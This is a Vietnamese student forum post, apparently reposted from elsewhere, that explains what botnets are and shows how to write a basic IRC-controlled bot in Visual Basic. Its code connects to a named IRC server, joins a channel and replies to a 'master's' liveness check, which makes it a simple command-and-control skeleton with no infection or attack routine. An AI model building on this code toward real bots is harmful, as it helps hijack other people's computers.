Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM
Chào mừng Khách viếng thăm đến với diễn đàn học sinh trường TCXD. TPHCM. Các bạn hãy đăng ký thành viên để tiện cho việc xem bài viết nhé. Cám ơn các bạn!!!

Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM

Mỗi một thành viên là một viên gạch xây dựng diễn đàn
 
Trang ChínhCalendarTrợ giúpTìm kiếmĐăng kýĐăng NhậpPhotoshop  Online
News & Announcements
 Admin (200)
 lethuy_daotaoxaydung (157)
 solle bilo (86)
 nguyenhai777 (86)
 ĐàmDuyên (51)
 chaichai (31)
 phankalee (23)
 bucghe (20)
 cantlive (16)
 Black_Pig (12)
Hướng Dẫn Tạo Khung Chữ Ký Dưới Bài Viết
Du học Đài Loan - Học bổng 100% tại Trường đại học Kiến Quốc (Chienkuo Technology University)
Học Bổng Du Học Anh Ngành KINH DOANH, TÀI CHÍNH – KẾ TOÁN– MAKETING Trường LSBF London
Thủ thuật học bài tin học
Ngày Tết Truyền Thống Khác Lạ Của Người Do Thái
Hội Thảo Phỏng Vấn Trực Tiếp Cấp Học Bổng DU HỌC ANH - Kỳ Nhập Học 2014
[Volambisu.com] Khai mở Server Thanh Long 10h ngày 15/11-Đua Top nhận SamsungGALAXY
[Volambisu.com] Khai mở Server Thanh Long 10h ngày 15/11-Đua Top nhận SamsungGALAXY
HỘI THẢO DU HỌC ERC SINGAPORE - Chuyển Tiếp Tín Chỉ ĐH-CĐ Lấy Bằng ĐH Anh Quốc Chỉ Với 1 Năm Tại ERC, 16/11/2013
DU HỌC ANH - Phỏng Vấn Trực Tiếp 02/11 Với Đại Diện Trường Cấp Học Bổng Trường LSC, Chester, Anglia Ruskin University
Sân khấu chuyên nghiệp dành cho sự kiện
Nguyệt Nhãn Thông báo Open Alpha Test 10h00 ngày 12/10/2103
[ Nguyệt Nhãn ] Game võ hiệp 2.5D -- Tưng Bừng Event nhận GifCode khủng cho tân thủ
Học Lập trình web PHP - Cam kết 100% Thiết kế được website ngay trong khóa học
Cho thuê nhà bạt chuyên nghiệp dành chó sự kiện ngoài trời
Chữ ký số là gì ?
SOLLE BILO hãy lắng nghe..... nói và ......hi!
help me
mem mới
xd 09-12
kingkingpy  
duhocdailoangea  
prince_bolide  
prince_bolide  
xuanvuive2013  
Du_hoc_Newworld  
nguyenhai777  
nguyenhai777  
Du_hoc_Newworld  
Du_hoc_Newworld  
htkim1  
nguyenhai777  
nguyenhai777  
leupanh  
htkim1  
thanhvt1985  
Rùa  
Rùa  
Rùa  
Admin  

Kiến Thức BotnetXem chủ đề cũ hơn Xem chủ đề mới hơn Go down
Mon Jan 02, 2012 5:25 pm
Trụ Cột Của Giúp Đỡ
avatar
4R HS Trường TCXD.TPHCM - Admin-
Tổng số bài gửi : 200
Thanked : 79
Join date : 23/11/2011
Age : 27
Đến từ : Khu dân cư Gamer
Châm ngôn sống : Trụ Cột Của Giúp Đỡ
Comments : YH: honma_battri2000

Tài Sản
Huy Chương:
Profile Admin
Tổng số bài gửi : 200
Thanked : 79
Join date : 23/11/2011
Age : 27
Đến từ : Khu dân cư Gamer
Châm ngôn sống : Trụ Cột Của Giúp Đỡ
Comments : YH: honma_battri2000

Bài gửiTiêu đề: Kiến Thức Botnet
http://tcxd.forumvi.com

Tiêu đề: Kiến Thức Botnet

Mạng BotNet Nền tảng và Cách tạo một con "Bot" cho mọi người
Botnet một cái tên nghe rất quen nhưng hầu như còn huyền bí với đa số dân CNTT Việt Nam

Để làm sáng tỏ về botnet và công nghệ tạo một bot hôm nay NoHat xin viết một tutorial về cách tạo một mạng botnet như là kim chỉ nam cho những người muốn hiểu rõ hơn về botnet.

I.Botnet là gì?

Botnet là một mạng gồm từ hàng trăm tới hàng triệu máy tính bị điều khiển hoàn toàn (theo thuật ngữ người ta gọi các máy tính này là Zombie tức các thây ma),chúng bị điều khiển để cùng làm một công việc gì đó theo mục đích của hacker điều khiển chúng vd: tải về cài đặt các chương trình quảng cáo, hay cùng đồng loạt tấn công một trang web nào đó thông qua kĩ thuật DDoS

II.Mạng BotNet đc tạo nên bởi gì ?

Nền tảng của BotNet là một chương trình máy tính đc thiết kế để liên lạc với hacker ,nhận lệnh và thực hiện lệnh của hacker, người ra gọi chương trình này là "Bot" (viết tắt từ robot).

III.Các con bot liên lạc với hacker bằng gì?

Kể từ những phiên bản đầu tiên các bot đã đc thiết kế để nhận lệnh thông qua các IRC server tức các máy chủ Internet Relay Chat một dạng máy chủ chạy dịch vụ chat công cộng (thường các máy chủ này là các máy chủ thuộc họ *nix ) để nhận đc lệnh từ hacker một cách nhanh nhất.

IV.Vậy các con bot đã dùng các server IRC như thế nào ?

Các máy chủ chạy dịch vụ IRC thường lắng nghe trên port 6667 ( một port cao ).Và các chương trình IRC server sử dụng một tập các chỉ thị gọi là lệnh IRC ( IRC commands )

Các bot thực hiện việc tạo một kết nối (connection) thông qua giao thức TCP/IP đến port 6667 của máy chủ IRC rồi sau đó dùng tập lệnh IRC để gửi và nhận các tin nhắn tới hacker.

V.Vậy các bot làm thế nào để có thể đc cài vào máy của người sử dụng bình thường ( Normal User ) ?

Các Bot đều có tính năng đầy đủ của một trojan và sự kết hợp nhuần nhuyễn từ virus vì vậy các con bot đều có thể tự lây lan thông qua các lỗ hổng của hệ điều hành và chiếm quyền điều khiển máy của "người dùng bình thường".
Ngoài ra một số bot không đc tích hợp tính năng lây lan nên nó cần đc sự hộ tống của một virus (đây chính là dạng lây lan phổ biến của các bot hiện nay)

VI.Cách tạo một con "Bot":

Với ví dụ này NoHat sẽ dùng ngôn ngữ lập trình Visual Basic để minh họa vì ngôn ngữ này đc nhiều người sử dụng nếu có thời gian NoHat sẽ post thêm bài viết về cách viết bot trên nền ngôn ngữ C++

Con bot này sẽ có tính năng cơ bản là kết nối tới server IRC và trả lời khi hacker hỏi "LiveOrNot"

1.Điều đầu tiên mà bạn phải học là tập lệnh IRC:

Tập lệnh IRC sẽ có sự khác biệt đôi chút khi nó chạy trên các chương trình quản lý IRC server khác nhau


Code:
USER <Real Name> là lệnh thiết lập tên thật cho bot khi nó vào IRC server

NICK <NickName> là lệnh thiết lập nick name cho bot

JOIN <Channel> là lệnh cho bot truy cập vào một "kênh" (channel),channel tương tự như một room chat vậy

PRIVMSG <Channel> : <Message> là lệnh gửi tin nhắn tới hacker



Thứ tự các lệnh từ 1 tới 3 mà NoHat nêu chính là thứ tự các lệnh mà bạn phải gửi tới IRC server

2.Một số Sub chính cho bot:


Khai báo hằng và biến:


Code:
Const Server As String = "irc.datviet.net" 'tên channel
Const Port As Integer = 23 'port
Const Channel As String = "NoHat" 'Kênh mà bot sẽ chui vào
Dim Nick As String 'Nick của bot



Bạn tạo môt Form mới và kéo thả vào đó thành phần WinSock đặt thuộc tính name là ws


Code:
Private Sub Form_Load()
ws.Connect Server, Port 'Tạo một kết nối tới server IRC
Nick = "Tester" & LTrim(RTrim(Str(Int(Rnd * 100))))
End Sub




Sub thực hiện việc gời command sau khi kết nối hoàn thành


Code:
Private Sub ws_Connect()
Dim UserName, RealName As String
UserName = Nick
RealName = Nick
ws.SendData "USER " & UserName & " 0 * " & RealName & vbCrLf
ws.SendData "NICK " & Nick & vbCrLf
ws.SendData "JOIN " & Channel & vbCrLf
ws.SendData "PRIVMSG " & Channel & ":" & " Bot chao master" & vbCrLf
End Sub

Sub đáp trả khi bot nhận đc lệnh


Code:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Dim Pos As Integer
Dim Master As String
ws.GetData strData
DoEvents



Code:
If InStr(strData, "liveornot") <> 0 Then
Pos = InStr(1, strData, "!")
Master = Mid(strData, 2, Pos - 2)
ws.SendData Replace(strData, "liveornot", "Live") & vbCrLf
ws.SendData "PRIVMSG " & Master & " " & Replace(strData, "liveornot", "Live") & vbCrLf
End If
EndSub




VII.Điều khiển bot thế nào ?

Để điều khiển bot bạn hãy cho chạy thử con bot trên để làm ví dụ
Sau đó bật một chương trình IRC Client nào đó ví dụ mIRC
Rồi kết nối vào máy server là irc.datviet.net với port 23
(đáng nhẽ là port 6667 nhưng không hiểu sao đa phần các IRC server của Việt Nam lại dùng port 23) với một nick tùy ý

gõ lệnh:


Code:
/JOIN NoHat (phải có dấu "/" vì mIRC .... bắt phải thế chứ IRC server không bắt thế đâu )


là bạn đã có mặt trong cùng channel với bot của bạn

sau đó hãy gõ lệnh:


Code:
LiveOrNot (chú ý viết hoa y chang nếu không con bot nó ngu ra mặt smilie )


Con bot sẽ trả lời bạn rằng


Code:
Live



------------------------------------------------------------------------------------------------

Tài Sản Của Admin
Tài Sản
Huy Chương:

Chữ Ký Của Admin

-------------------------------------------------------------------------------
Trụ Cột Của Forum


Mọi Thắc Từ Xin Liên Hệ Về Địa Chỉ Sau:
Gmail : Banquantri4r@gmail.com
Chào mừng bạn Khách viếng thăm đã đến với Forum Trường TCXD TPHCM!


Kiến Thức Botnet

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang
Trang 1 trong tổng số 1 trang
* Không dùng những ngôn từ thiếu lịch sự.
* Bài viết sưu tầm nên ghi rõ nguồn.
* Tránh spam nhảm không liên quan đến chủ đề.

Yêu cầu viết tiếng Việt có dấu.


Permissions in this forum:Bạn không có quyền trả lời bài viết
Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM :: Khu Vực Dành Cho Dân I Tờ :: Khu Vực C.E.H-
Click ChatBox Ver 2 [?] - Online [?]
frontpage stats
Designer By Martin™
Forumotion.com | © phpBB | Free forum support | Liên hệ | Report an abuse | Free blog